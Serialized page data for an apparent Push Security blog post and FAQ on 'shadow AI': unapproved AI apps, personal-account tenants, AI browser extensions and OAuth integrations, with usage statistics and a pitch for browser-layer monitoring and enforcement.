time.",{"url":1862,"width":1736,"height":1863},"https://images.ctfassets.net/y1cdw1ablpvd/wTAwk90bIA1B3XSkRf4M4/e4d3630af83501e6b4b05217fdf2e600/image1.png",1203,{"items":1865},[1866,1879,1892,1912,1932,1952,1972,1992,2012,2032],{"answer":1867,"question":1878},{"json":1868},{"nodeType":856,"data":1869,"content":1870},{},[1871],{"nodeType":860,"data":1872,"content":1873},{},[1874],{"nodeType":864,"value":1875,"marks":1876,"data":1877},"Network monitoring tools see domain-level traffic but can't tell you what's actually happening inside an AI session — whether an employee is browsing a tool's marketing page or pasting source code into a prompt. IdP logs capture OAuth grants routed through the identity provider but miss AI tools accessed via direct signup or personal accounts. Browser-based security tools like Push Security monitor AI activity where it actually happens: inside the browser session. Push captures login events, clipboard pastes, file uploads, extension installations, and OAuth grants, providing structured telemetry on what data is moving into which AI tools, through which accounts, and whether those accounts are corporate or personal.",[],{},"How do you monitor what employees are doing with AI tools?",{"answer":1880,"question":1891},{"json":1881},{"nodeType":856,"data":1882,"content":1883},{},[1884],{"nodeType":860,"data":1885,"content":1886},{},[1887],{"nodeType":864,"value":1888,"marks":1889,"data":1890},"Binary allow/block decisions — whether enforced through a SWG, CASB, or enterprise browser — treat every AI interaction as equivalent, which pushes employees toward tools you can't see at all. Graduated enforcement offers a middle path. Push Security lets teams start with monitoring to build an accurate picture of AI usage, then introduce in-browser prompts that explain why a tool hasn't been approved and direct employees toward sanctioned alternatives, before applying hard blocks only where the data sensitivity or tool risk justifies it. Controls are configurable per user group, and new AI tools automatically inherit governance rules through automatic categorization — so enforcement keeps pace with the landscape without manual blocklist updates.",[],{},"How do you restrict AI usage without blocking everything?",{"answer":1893,"question":1911},{"json":1894},{"nodeType":856,"data":1895,"content":1896},{},[1897,1904],{"nodeType":860,"data":1898,"content":1899},{},[1900],{"nodeType":864,"value":1901,"marks":1902,"data":1903},"Network monitoring tools, IdP logs, and endpoint agents each catch a slice of shadow AI but miss entire categories. SWGs see domain traffic but can't confirm whether someone authenticated or what they did after login. IdPs capture OAuth grants routed through the identity provider but miss AI tools accessed via direct signup or personal accounts. EDR is blind to browser-layer activity entirely. ",[],{},{"nodeType":860,"data":1905,"content":1906},{},[1907],{"nodeType":864,"value":1908,"marks":1909,"data":1910},"Browser-based security tools like Push Security identify AI tools from actual login events, catching the four categories other tools miss: unapproved AI apps, personal accounts on approved tools, AI browser extensions with broad permissions, and OAuth integrations granting persistent API access to corporate systems. Each discovered app is automatically categorized and enriched with authentication context — SSO vs. password, MFA status, corporate vs. personal account — so security teams can assess actual risk rather than treating every AI tool as equivalent.",[],{},"How do you discover what AI tools employees are using?",{"answer":1913,"question":1931},{"json":1914},{"nodeType":856,"data":1915,"content":1916},{},[1917,1924],{"nodeType":860,"data":1918,"content":1919},{},[1920],{"nodeType":864,"value":1921,"marks":1922,"data":1923},"This is a gap that traditional DLP architectures weren't designed for. Network DLP and SWGs can't intercept clipboard pastes into AI prompts because there's no network event to inspect — the data moves from the clipboard to the browser DOM without crossing the wire. Endpoint DLP sees file-system operations but not in-browser activity. Browser-based controls operate where the paste actually happens. ",[],{},{"nodeType":860,"data":1925,"content":1926},{},[1927],{"nodeType":864,"value":1928,"marks":1929,"data":1930},"Push Security matches clipboard content against patterns for credentials, API keys, credit card numbers, and custom content rules, then offers the employee a redacted version so they can continue working without exposing the actual sensitive data. The same approach extends to file uploads and downloads, covering the exfiltration paths that network and endpoint DLP leave open.",[],{},"How do you prevent sensitive data from being pasted into AI tools?",{"answer":1933,"question":1951},{"json":1934},{"nodeType":856,"data":1935,"content":1936},{},[1937,1944],{"nodeType":860,"data":1938,"content":1939},{},[1940],{"nodeType":864,"value":1941,"marks":1942,"data":1943},"Policy documents distributed during onboarding don't change behavior at the moment someone reaches for an unapproved AI tool. SWGs can block a domain, but they can't explain why or point to an approved alternative — the employee sees an error page. ",[],{},{"nodeType":860,"data":1945,"content":1946},{},[1947],{"nodeType":864,"value":1948,"marks":1949,"data":1950},"Enterprise browsers like Push Security can deliver policy enforcement at the point of decision: when an employee navigates to an unsanctioned AI tool, an in-browser message explains why the tool hasn't been approved and directs them to approved alternatives. Controls are configurable per user group — and new AI tools automatically inherit governance rules through automatic categorization, without manual blocklist updates.",[],{},"How do you enforce an AI acceptable use policy in real time?",{"answer":1953,"question":1971},{"json":1954},{"nodeType":856,"data":1955,"content":1956},{},[1957,1964],{"nodeType":860,"data":1958,"content":1959},{},[1960],{"nodeType":864,"value":1961,"marks":1962,"data":1963},"No single traditional tool covers all aspects of shadow AI (apps, tenants, integrations, extensions) and the user interaction with those categories of tool. SWGs and CASBs see domain-level traffic but can't identify personal account usage, extension activity, or clipboard pastes into AI prompts. IdPs capture federated logins but miss direct signups and personal accounts entirely. EDR doesn't see browser-layer activity. DSPM monitors data at rest in cloud storage but not data in motion through browser sessions. ",[],{},{"nodeType":860,"data":1965,"content":1966},{},[1967],{"nodeType":864,"value":1968,"marks":1969,"data":1970},"Most organizations will need browser-layer visibility alongside their existing stack — not as a replacement, but to close the gaps those tools weren't designed to address. Tools like Push Security operate at the layer where AI activity actually happens, covering all shadow AI categories with graduated enforcement (monitor, warn, block), per-user-group policies, and telemetry on authentication methods, clipboard events, file uploads, and OAuth grants. ",[],{},"What tools do you need to manage shadow AI?",{"answer":1973,"question":1991},{"json":1974},{"nodeType":856,"data":1975,"content":1976},{},[1977,1984],{"nodeType":860,"data":1978,"content":1979},{},[1980],{"nodeType":864,"value":1981,"marks":1982,"data":1983},"AI browser extensions are a blind spot for most security stacks. Endpoint management tools may detect that an extension is installed but typically can't evaluate what permissions it has requested or whether those permissions create data exfiltration risk. SWGs and CASBs don't see extension activity at all — extensions operate within the browser, not over the network. ",[],{},{"nodeType":860,"data":1985,"content":1986},{},[1987],{"nodeType":864,"value":1988,"marks":1989,"data":1990},"Push Security inventories every AI-related extension installed across the workforce, surfaces the specific permissions each extension has requested (access to page content, browsing history, clipboard data), and identifies permission combinations that could enable account takeover or data exfiltration. Security teams can then apply monitor, warn, or block enforcement to extension categories — and new extensions automatically inherit governance rules without maintaining manual allowlists that go stale as new AI extensions appear daily.",[],{},"How do I stop employees installing AI browser extensions?",{"answer":1993,"question":2011},{"json":1994},{"nodeType":856,"data":1995,"content":1996},{},[1997,2004],{"nodeType":860,"data":1998,"content":1999},{},[2000],{"nodeType":864,"value":2001,"marks":2002,"data":2003},"Point-in-time audits — whether run through an IdP, a CASB, or manual surveys — tell you what was true when you ran them. AI tool adoption changes weekly; Gartner projects 150,000 AI agents per Fortune 500 enterprise by 2028. SWGs can log new domains but can't classify them or apply governance rules automatically. ",[],{},{"nodeType":860,"data":2005,"content":2006},{},[2007],{"nodeType":864,"value":2008,"marks":2009,"data":2010},"Push Security discovers new AI tools as employees start using them: when someone logs in to a new AI app, Push identifies it from the login event, automatically categorizes it, and applies the organization's existing governance rules without manual intervention. All AI-related telemetry — app access, file uploads, clipboard events, extension activity — streams as structured data to the customer's SIEM, providing the material for governance dashboards and compliance reporting that stays current as the landscape shifts.",[],{},"How do you get visibility into AI tool sprawl?",{"answer":2013,"question":2031},{"json":2014},{"nodeType":856,"data":2015,"content":2016},{},[2017,2024],{"nodeType":860,"data":2018,"content":2019},{},[2020],{"nodeType":864,"value":2021,"marks":2022,"data":2023},"AI visibility means knowing which AI tools employees are using, how they're accessing them, and what data flows into those tools. AI control is the ability to enforce rules on that usage — blocking unapproved tools, restricting data flows, requiring approved accounts. AI governance is the broader program that encompasses both: defining acceptable use policies, establishing risk frameworks for evaluating new tools, and building the organizational processes that turn visibility and control into sustained security outcomes. ",[],{},{"nodeType":860,"data":2025,"content":2026},{},[2027],{"nodeType":864,"value":2028,"marks":2029,"data":2030},"Most organizations that struggle with AI governance have a visibility problem first — they're trying to write policies for tools they don't know their employees are using. But visibility without control is just watching the problem happen. Push Security provides both: discovery and monitoring across all four categories of shadow AI, plus graduated enforcement controls that let you apply different responses based on the risk profile of each tool, account, and data flow, at the point of interaction in the browser for real-time enforcement.",[],{},"What is the difference between AI governance, AI visibility, and AI control?",{"answer":2033,"question":2051},{"json":2034},{"nodeType":856,"data":2035,"content":2036},{},[2037,2044],{"nodeType":860,"data":2038,"content":2039},{},[2040],{"nodeType":864,"value":2041,"marks":2042,"data":2043},"Data Security Posture Management (DSPM) tools monitor data at rest in cloud storage and SaaS applications, identifying misconfigurations, overly permissive access, and sensitive data exposure. They don't monitor data in motion through browser sessions — which is the primary path for shadow AI risk. ",[],{},{"nodeType":860,"data":2045,"content":2046},{},[2047],{"nodeType":864,"value":2048,"marks":2049,"data":2050},"When an employee pastes source code into an AI prompt or uploads a customer spreadsheet to an unapproved AI tool, that data movement happens entirely inside the browser and never touches the cloud storage layer that DSPM tools monitor. DSPM and browser security are complementary: DSPM secures data where it is stored, while browser-layer tools like Push Security secure data where it moves.",[],{},"Does Data Security Posture Management (DSPM) prevent shadow AI?","Shadow AI discovery and governance: Frequently asked questions",{},"How to discover AI, enforce policies, and prevent data loss","2026-08-13T00:00:00.000Z",{"items":2057},[2058,2741,3626],{"__typename":2059,"sys":2060,"content":2062,"title":2720,"synopsis":2721,"hashTags":59,"publishedDate":2722,"slug":2723,"tagsCollection":2724,"authorsCollection":2733},"BlogPosts",{"id":2061},"4NY2NbkAPucFOJY45yrrrE",{"json":2063},{"data":2064,"content":2065,"nodeType":856},{},[2066,2073,2080,2087,2093,2096,2104,2111,2144,2151,2176,2182,2185,2193,2200,2208,2252,2258,2265,2270,2273,2281,2288,2296,2303,2310,2326,2334,2359,2366,2372,2379,2387,2402,2430,2436,2454,2460,2468,2475,2500,2507,2514,2521,2527,2530,2538,2545,2552,2571,2579,2586,2594,2617,2629,2635,2638,2646,2653,2660,2667,2686,2689,2695,2701],{"data":2067,"content":2068,"nodeType":860},{},[2069],{"data":2070,"marks":2071,"value":2072,"nodeType":864},{},[],"Employees have been self-adopting apps, creating unmanaged accounts, and introducing third-party software dependencies into their organizations for years, and the core problem hasn't changed: unmanaged software expanding your attack surface without your knowledge.",{"data":2074,"content":2075,"nodeType":860},{},[2076],{"data":2077,"marks":2078,"value":2079,"nodeType":864},{},[],"But the rate at which employees are signing up for AI tools is unprecedented, and the depth of interconnectivity those tools demand is fundamentally different from traditional shadow SaaS. ",{"data":2081,"content":2082,"nodeType":860},{},[2083],{"data":2084,"marks":2085,"value":2086,"nodeType":864},{},[],"AI tools aren't just standalone apps that employees sign into — they're increasingly used as agents that drive other applications, pulling data from one platform, acting on another — they are becoming a core that other apps are integrating to, and that users are integrating with their wider SaaS stack. It’s becoming a focal integration point for app access and functionality in a way that's more comparable to an enterprise cloud platform than a typical SaaS tool. ",{"data":2088,"content":2092,"nodeType":996},{"target":2089},{"sys":2090},{"id":2091,"type":1001,"linkType":1002},"2Vxb48M5JN9Jdy8BG6nbUJ",[],{"data":2094,"content":2095,"nodeType":1005},{},[],{"data":2097,"content":2098,"nodeType":1009},{},[2099],{"data":2100,"marks":2101,"value":2103,"nodeType":864},{},[2102],{"type":899},"What is shadow AI? A quick 101",{"data":2105,"content":2106,"nodeType":860},{},[2107],{"data":2108,"marks":2109,"value":2110,"nodeType":864},{},[],"Shadow AI is any use of AI tools, services, or integrations that happens outside an organization's security governance and visibility. Shadow AI risks cut in two directions:",{"data":2112,"content":2113,"nodeType":941},{},[2114,2129],{"data":2115,"content":2116,"nodeType":945},{},[2117],{"data":2118,"content":2119,"nodeType":860},{},[2120,2125],{"data":2121,"marks":2122,"value":2124,"nodeType":864},{},[2123],{"type":899},"Data exposure:",{"data":2126,"marks":2127,"value":2128,"nodeType":864},{},[]," source code, credentials, internal documents, and customer data routinely get pasted into AI prompts or uploaded as context, and once shared, that data is outside the organization's control. ",{"data":2130,"content":2131,"nodeType":945},{},[2132],{"data":2133,"content":2134,"nodeType":860},{},[2135,2140],{"data":2136,"marks":2137,"value":2139,"nodeType":864},{},[2138],{"type":899},"Attack surface:",{"data":2141,"marks":2142,"value":2143,"nodeType":864},{},[]," Every shadow AI app is an unmanaged identity with credentials that can be phished or stuffed, OAuth grants that give persistent API access to corporate systems, and browser extensions that can be compromised in supply chain attacks. ",{"data":2145,"content":2146,"nodeType":860},{},[2147],{"data":2148,"marks":2149,"value":2150,"nodeType":864},{},[],"AI tools increasingly function as hubs, connected via OAuth and MCP to email, cloud storage, code repositories, and other high-value systems. Every app connection an employee grants turns that AI tool into a node in a web of interconnected services, which means the more you hook in, the larger the attack surface across all the connected apps — and the greater the blast radius if the account used to access the AI tool is compromised.",{"data":2152,"content":2153,"nodeType":860},{},[2154,2158,2164,2167,2173],{"data":2155,"marks":2156,"value":2157,"nodeType":864},{},[],"Each integration creates a persistent trust relationship that survives password resets and MFA changes. Compromise a single AI app and an attacker inherits whatever access the employee granted it, turning one ungoverned tool into a pivot point across the SaaS estate. Attackers are already exploiting this interconnectivity — from ",{"data":2159,"content":2160,"nodeType":883},{"uri":1543},[2161],{"data":2162,"marks":2163,"value":1758,"nodeType":864},{},[],{"data":2165,"marks":2166,"value":1762,"nodeType":864},{},[],{"data":2168,"content":2169,"nodeType":883},{"uri":1765},[2170],{"data":2171,"marks":2172,"value":1770,"nodeType":864},{},[],{"data":2174,"marks":2175,"value":1774,"nodeType":864},{},[],{"data":2177,"content":2181,"nodeType":996},{"target":2178},{"sys":2179},{"id":2180,"type":1001,"linkType":1002},"1BWCa7AHCMlYw7XgPLx3h7",[],{"data":2183,"content":2184,"nodeType":1005},{},[],{"data":2186,"content":2187,"nodeType":1009},{},[2188],{"data":2189,"marks":2190,"value":2192,"nodeType":864},{},[2191],{"type":899},"The state of shadow AI, using Push data",{"data":2194,"content":2195,"nodeType":860},{},[2196],{"data":2197,"marks":2198,"value":2199,"nodeType":864},{},[],"We analyzed a snapshot of AI activity across Push customers during an average week in April 2026. We wanted to make sure it captured actual activity, not just historical data on apps that were added once and no longer used.",{"data":2201,"content":2202,"nodeType":860},{},[2203],{"data":2204,"marks":2205,"value":2207,"nodeType":864},{},[2206],{"type":899},"The numbers paint a picture that most security teams will find uncomfortable.",{"data":2209,"content":2210,"nodeType":860},{},[2211,2215,2220,2224,2229,2233,2238,2242,2248],{"data":2212,"marks":2213,"value":2214,"nodeType":864},{},[],"The average organization has ",{"data":2216,"marks":2217,"value":2219,"nodeType":864},{},[2218],{"type":899},"16 unique AI apps",{"data":2221,"marks":2222,"value":2223,"nodeType":864},{},[]," in active use, ",{"data":2225,"marks":2226,"value":2228,"nodeType":864},{},[2227],{"type":899},"17 unique AI browser extensions",{"data":2230,"marks":2231,"value":2232,"nodeType":864},{},[],", and ",{"data":2234,"marks":2235,"value":2237,"nodeType":864},{},[2236],{"type":899},"17 unique AI OAuth integrations",{"data":2239,"marks":2240,"value":2241,"nodeType":864},{},[]," connected into just Google Workspace and Microsoft 365 — with some organizations reaching as high as 40 unique AI apps, 163 AI extensions, and 55 OAuth connections to AI apps respectively. At the other end, the smallest organization with the ",{"data":2243,"marks":2244,"value":2247,"nodeType":864},{},[2245],{"type":2246},"italic","lowest",{"data":2249,"marks":2250,"value":2251,"nodeType":864},{},[]," adoption level is actively using two. ",{"data":2253,"content":2257,"nodeType":996},{"target":2254},{"sys":2255},{"id":2256,"type":1001,"linkType":1002},"2AfeiHub5kyZN8wuf6CJch",[],{"data":2259,"content":2260,"nodeType":860},{},[2261],{"data":2262,"marks":2263,"value":2264,"nodeType":864},{},[],"If most organizations have sanctioned one or two core AI assistants/platforms for business use, the gap between what's approved and what's actually happening is significant.",{"data":2266,"content":2269,"nodeType":996},{"target":2267},{"sys":2268},{"id":1040,"type":1001,"linkType":1002},[],{"data":2271,"content":2272,"nodeType":1005},{},[],{"data":2274,"content":2275,"nodeType":1009},{},[2276],{"data":2277,"marks":2278,"value":2280,"nodeType":864},{},[2279],{"type":899},"Understanding the four categories of shadow AI",{"data":2282,"content":2283,"nodeType":860},{},[2284],{"data":2285,"marks":2286,"value":2287,"nodeType":864},{},[],"Shadow SaaS has always been a problem, but in the context of AI apps there are four categories of shadow IT that security teams need to understand, because each one introduces a different kind of risk and requires a different approach to tackling it.",{"data":2289,"content":2290,"nodeType":1312},{},[2291],{"data":2292,"marks":2293,"value":2295,"nodeType":864},{},[2294],{"type":899},"Shadow AI apps",{"data":2297,"content":2298,"nodeType":860},{},[2299],{"data":2300,"marks":2301,"value":2302,"nodeType":864},{},[],"Shadow apps are AI tools that employees have signed up to and are using for business purposes without approval. This is the most visible dimension of the problem, and the one most people think of when they hear \"shadow AI\" — an employee pastes sensitive internal documents into ChatGPT, uploads confidential files to an AI assistant, or uses an unapproved coding tool to generate production code.",{"data":2304,"content":2305,"nodeType":860},{},[2306],{"data":2307,"marks":2308,"value":2309,"nodeType":864},{},[],"All of that is sensitive data leaving the organization through channels the security team can't see - and often accessible using personal accounts that can be compromised on personal devices or workstations. ",{"data":2311,"content":2312,"nodeType":860},{},[2313,2317,2322],{"data":2314,"marks":2315,"value":2316,"nodeType":864},{},[],"The 2026 DBIR's data loss prevention analysis underscores the scale — shadow AI is now the ",{"data":2318,"marks":2319,"value":2321,"nodeType":864},{},[2320],{"type":899},"third most common non-malicious insider action",{"data":2323,"marks":2324,"value":2325,"nodeType":864},{},[]," in DLP data, a 4x increase year-over-year. Across 858,000+ DLP events targeting GenAI tools, the most common data types being submitted were source code (28%), images (16%), structured data (14%), documents (13%), and PDFs (10%). That's not employees asking ChatGPT to fix their grammar — it's core intellectual property, production code, and internal documentation flowing into platforms the security team has no visibility into. But shadow apps themselves are only the most obvious part of the problem.",{"data":2327,"content":2328,"nodeType":1312},{},[2329],{"data":2330,"marks":2331,"value":2333,"nodeType":864},{},[2332],{"type":899},"Shadow tenants",{"data":2335,"content":2336,"nodeType":860},{},[2337,2341,2346,2350,2355],{"data":2338,"marks":2339,"value":2340,"nodeType":864},{},[],"Even when an organization has approved an AI tool — say, an enterprise ChatGPT deployment — employees frequently access the same app with personal accounts, creating shadow tenants that sit entirely outside organizational control. The DBIR found that ",{"data":2342,"marks":2343,"value":2345,"nodeType":864},{},[2344],{"type":899},"67% of GenAI users on corporate devices are using non-corporate accounts",{"data":2347,"marks":2348,"value":2349,"nodeType":864},{},[],", and our own data shows that ",{"data":2351,"marks":2352,"value":2354,"nodeType":864},{},[2353],{"type":899},"38% of file uploads to AI tools are made from shadow accounts",{"data":2356,"marks":2357,"value":2358,"nodeType":864},{},[]," rather than approved organizational ones.",{"data":2360,"content":2361,"nodeType":860},{},[2362],{"data":2363,"marks":2364,"value":2365,"nodeType":864},{},[],"When an organization approves Claude, ChatGPT, or another core AI platform, you typically also approve the OAuth integration and browser extension for core apps (e.g. M365, Google Workspace, and so on). When that integration is approved, it is approved for all tenants — not just your corporate tenant. ",{"data":2367,"content":2371,"nodeType":996},{"target":2368},{"sys":2369},{"id":2370,"type":1001,"linkType":1002},"3Rvw0n28AYIM3FQXtHyafD",[],{"data":2373,"content":2374,"nodeType":860},{},[2375],{"data":2376,"marks":2377,"value":2378,"nodeType":864},{},[],"This means that even if you've deployed enterprise controls around your sanctioned AI tools — DLP policies, retention settings, admin oversight — more than a third of the file uploads hitting AI tools are bypassing those controls entirely because they're happening through personal accounts on corporate devices.",{"data":2380,"content":2381,"nodeType":1312},{},[2382],{"data":2383,"marks":2384,"value":2386,"nodeType":864},{},[2385],{"type":899},"Shadow extensions",{"data":2388,"content":2389,"nodeType":860},{},[2390,2394,2398],{"data":2391,"marks":2392,"value":2393,"nodeType":864},{},[],"Many AI tools come with a browser extension counterpart, and there's a large ecosystem of third-party AI extensions that offer everything from writing assistance to automated data extraction. The average organization in our dataset has ",{"data":2395,"marks":2396,"value":2228,"nodeType":864},{},[2397],{"type":899},{"data":2399,"marks":2400,"value":2401,"nodeType":864},{},[]," deployed across its workforce, with the highest we observed reaching 163 — and since each of those average 17 different extensions may be installed by multiple employees, the actual number of individual extension installs across the organization is much higher still.",{"data":2403,"content":2404,"nodeType":860},{},[2405,2409,2417,2421,2426],{"data":2406,"marks":2407,"value":2408,"nodeType":864},{},[],"The extension dimension is particularly concerning because most extensions operate with significant privilege inside the browser — they can read and modify page content, access cookies and session tokens, and interact with virtually every web application an employee uses. As we detailed in our recent analysis of ",{"data":2410,"content":2412,"nodeType":883},{"uri":2411},"https://pushsecurity.com/blog/why-browser-extension-risk-scoring-wont-predict-your-next-breach/",[2413],{"data":2414,"marks":2415,"value":2416,"nodeType":864},{},[],"browser extension risk scoring",{"data":2418,"marks":2419,"value":2420,"nodeType":864},{},[],", at least ",{"data":2422,"marks":2423,"value":2425,"nodeType":864},{},[2424],{"type":899},"46.76% of all extensions across Push customers have the permission combinations needed to perform account takeover with no user interaction",{"data":2427,"marks":2428,"value":2429,"nodeType":864},{},[],", and the extensions involved in every major supply chain breach of the past 18 months scored as normal or low-risk beforehand.",{"data":2431,"content":2435,"nodeType":996},{"target":2432},{"sys":2433},{"id":2434,"type":1001,"linkType":1002},"3z4JOMALI52xoOXZkzPHLD",[],{"data":2437,"content":2438,"nodeType":860},{},[2439,2443,2450],{"data":2440,"marks":2441,"value":2442,"nodeType":864},{},[],"AI extensions add a specific wrinkle to this problem: many are branded to look like official companions to well-known AI tools but are actually third-party creations with no affiliation to the original vendor. They're not necessarily malicious at the point of installation, but they're exactly the kind of extension that's likely to be ",{"data":2444,"content":2445,"nodeType":883},{"uri":2411},[2446],{"data":2447,"marks":2448,"value":2449,"nodeType":864},{},[],"acquired and weaponized",{"data":2451,"marks":2452,"value":2453,"nodeType":864},{},[]," down the line — and in the meantime, they're collecting data that their permissions entitle them to (which, in most cases, means everything the user can see in their browser).",{"data":2455,"content":2459,"nodeType":996},{"target":2456},{"sys":2457},{"id":2458,"type":1001,"linkType":1002},"6K3z67rohss6H3lCsSn12B",[],{"data":2461,"content":2462,"nodeType":1312},{},[2463],{"data":2464,"marks":2465,"value":2467,"nodeType":864},{},[2466],{"type":899},"Shadow integrations",{"data":2469,"content":2470,"nodeType":860},{},[2471],{"data":2472,"marks":2473,"value":2474,"nodeType":864},{},[],"The fourth dimension — and arguably the most dangerous — is shadow integrations: OAuth connections between AI tools and core enterprise apps that aren't known or approved by the security team. Even if an organization has approved an AI tool for standalone use, plugging that tool directly into Google Workspace, Microsoft 365, Salesforce, or any other one of the dozen or so SaaS apps in a typical user’s work stack is a fundamentally different risk decision, because it creates a persistent, programmatic bridge between your environment and a third party.",{"data":2476,"content":2477,"nodeType":860},{},[2478,2482,2487,2491,2496],{"data":2479,"marks":2480,"value":2481,"nodeType":864},{},[],"On average, we see ",{"data":2483,"marks":2484,"value":2486,"nodeType":864},{},[2485],{"type":899},"17 unique AI app OAuth integrations per organization",{"data":2488,"marks":2489,"value":2490,"nodeType":864},{},[]," in ",{"data":2492,"marks":2493,"value":2495,"nodeType":864},{},[2494],{"type":2246},"just",{"data":2497,"marks":2498,"value":2499,"nodeType":864},{},[]," Google Workspace and Microsoft 365 (to be clear: this number excludes the dozens of downstream apps the AI assistants are integrated with as well), with the highest reaching 55. Each of those represents a unique AI product that has been granted OAuth access — the total number of individual consent grants across users is larger, because popular integrations get authorized by multiple employees independently.",{"data":2501,"content":2502,"nodeType":860},{},[2503],{"data":2504,"marks":2505,"value":2506,"nodeType":864},{},[],"The actual number of AI-related OAuth connections across the full SaaS estate is considerably higher again, because AI tools that automate workflows need to be connected to be useful — pulling data from one app, analyzing it in another, presenting results in a third.",{"data":2508,"content":2509,"nodeType":860},{},[2510],{"data":2511,"marks":2512,"value":2513,"nodeType":864},{},[],"MCP connections use OAuth to achieve this interconnectivity in the same way, and AI coding agents create a particularly concentrated version of the risk: a single agent configuration can hold OAuth tokens for Jira, Confluence, Salesforce, GitHub, and more, meaning that compromising one agent — whether through prompt injection, a malicious repository config, or a supply chain attack on an MCP server — yields persistent, broadly scoped tokens for every service it was connected to, tokens that survive session restarts and generate audit log entries indistinguishable from legitimate user activity.",{"data":2515,"content":2516,"nodeType":860},{},[2517],{"data":2518,"marks":2519,"value":2520,"nodeType":864},{},[],"It's also worth noting that OAuth blast radius is almost always larger than organizations expect. A single well-permissioned user can expose secrets, dashboards, and internal tooling without tenant-wide admin access. And every new AI tool an employee connects makes the web of abusable permissions a little wider.",{"data":2522,"content":2526,"nodeType":996},{"target":2523},{"sys":2524},{"id":2525,"type":1001,"linkType":1002},"4SnzJ9T93gHzFIUASx7Yb3",[],{"data":2528,"content":2529,"nodeType":1005},{},[],{"data":2531,"content":2532,"nodeType":1009},{},[2533],{"data":2534,"marks":2535,"value":2537,"nodeType":864},{},[2536],{"type":899},"Why shadow AI needs a different solution to shadow SaaS",{"data":2539,"content":2540,"nodeType":860},{},[2541],{"data":2542,"marks":2543,"value":2544,"nodeType":864},{},[],"The reason it's worth distinguishing between these four dimensions isn't academic. Each one requires a different control, and addressing one doesn't solve the others.",{"data":2546,"content":2547,"nodeType":860},{},[2548],{"data":2549,"marks":2550,"value":2551,"nodeType":864},{},[],"Blocking unsanctioned AI apps does nothing for the personal accounts accessing approved ones, and neither addresses the average 17 different AI extensions running with broad browser permissions, let alone the dozens of OAuth integrations that have already been granted persistent access to core enterprise apps — and even auditing OAuth in Google Workspace and Microsoft 365, where the controls are relatively mature, leaves the broader SaaS estate unaddressed, where admin tooling is inconsistent and visibility is limited.",{"data":2553,"content":2554,"nodeType":860},{},[2555,2559,2567],{"data":2556,"marks":2557,"value":2558,"nodeType":864},{},[],"The tooling gap compounds the policy gap. ",{"data":2560,"content":2562,"nodeType":883},{"uri":2561},"https://pushsecurity.com/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market/",[2563],{"data":2564,"marks":2565,"value":2566,"nodeType":864},{},[],"Omdia found",{"data":2568,"marks":2569,"value":2570,"nodeType":864},{},[]," that 58% of organizations rely on secure web gateways to secure GenAI usage — but an SWG can tell you that a user visited ChatGPT, not whether they pasted your source code into the prompt. That link between knowing where data went and knowing what the user actually did is the fundamental visibility gap that makes GenAI policies unenforceable without browser-layer tooling.",{"data":2572,"content":2573,"nodeType":1312},{},[2574],{"data":2575,"marks":2576,"value":2578,"nodeType":864},{},[2577],{"type":899},"Advice for security teams",{"data":2580,"content":2581,"nodeType":860},{},[2582],{"data":2583,"marks":2584,"value":2585,"nodeType":864},{},[],"The principles behind managing shadow AI are the same ones that have governed shadow SaaS and software supply chain management for years: default-deny where feasible, comprehensive inventory where it isn't, and continuous monitoring for changes that signal increased risk. But it's vital that teams act fast to stop the snowball.",{"data":2587,"content":2588,"nodeType":860},{},[2589],{"data":2590,"marks":2591,"value":2593,"nodeType":864},{},[2592],{"type":899},"That starts with visibility into which AI tools employees are actually using and which accounts they're using to access them — without that baseline, every other control is built on assumptions.",{"data":2595,"content":2596,"nodeType":860},{},[2597,2602,2606,2613],{"data":2598,"marks":2599,"value":2601,"nodeType":864},{},[2600],{"type":899},"Extensions",{"data":2603,"marks":2604,"value":2605,"nodeType":864},{},[]," need the same ",{"data":2607,"content":2608,"nodeType":883},{"uri":2411},[2609],{"data":2610,"marks":2611,"value":2612,"nodeType":864},{},[],"default-deny allowlisting approach",{"data":2614,"marks":2615,"value":2616,"nodeType":864},{},[]," that has been best practice for software management elsewhere: build a complete inventory, allowlist what's vetted, block everything else, and monitor the approved set for changes that precede weaponization.",{"data":2618,"content":2619,"nodeType":860},{},[2620,2625],{"data":2621,"marks":2622,"value":2624,"nodeType":864},{},[2623],{"type":899},"OAuth",{"data":2626,"marks":2627,"value":2628,"nodeType":864},{},[]," demands the most urgency, because each unmanaged integration is a persistent trust relationship that survives password resets and MFA changes — adopt default-deny for consent grants in your primary enterprise apps, routinely audit what's already connected, and critically extend that visibility beyond Google and Microsoft to the broader SaaS estate where the controls are weaker and the sprawl is harder to track.",{"data":2630,"content":2634,"nodeType":996},{"target":2631},{"sys":2632},{"id":2633,"type":1001,"linkType":1002},"3RFLFtJtDXvhTz1mVztfV9",[],{"data":2636,"content":2637,"nodeType":1005},{},[],{"data":2639,"content":2640,"nodeType":1009},{},[2641],{"data":2642,"marks":2643,"value":2645,"nodeType":864},{},[2644],{"type":899},"Browser visibility and control is key to de-risking AI adoption",{"data":2647,"content":2648,"nodeType":860},{},[2649],{"data":2650,"marks":2651,"value":2652,"nodeType":864},{},[],"AI usage is fundamentally browser-based activity — every LLM interaction, every prompt containing sensitive data, every AI agent authorization, every OAuth consent grant happens inside a browser session — which makes the browser the natural control point for AI governance across the workforce. ",{"data":2654,"content":2655,"nodeType":860},{},[2656],{"data":2657,"marks":2658,"value":2659,"nodeType":864},{},[],"Push tracks AI app usage and login security across the workforce, inventories and controls AI browser extensions, monitors and blocks OAuth consent flows across any app (not just the primary enterprise platforms), and gives security teams a single view of the full shadow AI picture across all four dimensions.",{"data":2661,"content":2662,"nodeType":860},{},[2663],{"data":2664,"marks":2665,"value":2666,"nodeType":864},{},[],"Shadow AI isn't a problem that will age well if ignored. Every week that passes without visibility adds more apps, more extensions, more integrations, and more potential breach paths into the environment — and as the Vercel breach demonstrated, it only takes one forgotten OAuth grant to turn an employee's idle curiosity into an organization-wide incident.",{"data":2668,"content":2669,"nodeType":860},{},[2670,2674,2682],{"data":2671,"marks":2672,"value":2673,"nodeType":864},{},[],"Learn more about how you can tackle ",{"data":2675,"content":2677,"nodeType":883},{"uri":2676},"https://pushsecurity.com/uc/shadow-ai",[2678],{"data":2679,"marks":2680,"value":580,"nodeType":864},{},[2681],{"type":1455},{"data":2683,"marks":2684,"value":2685,"nodeType":864},{},[]," with Push. 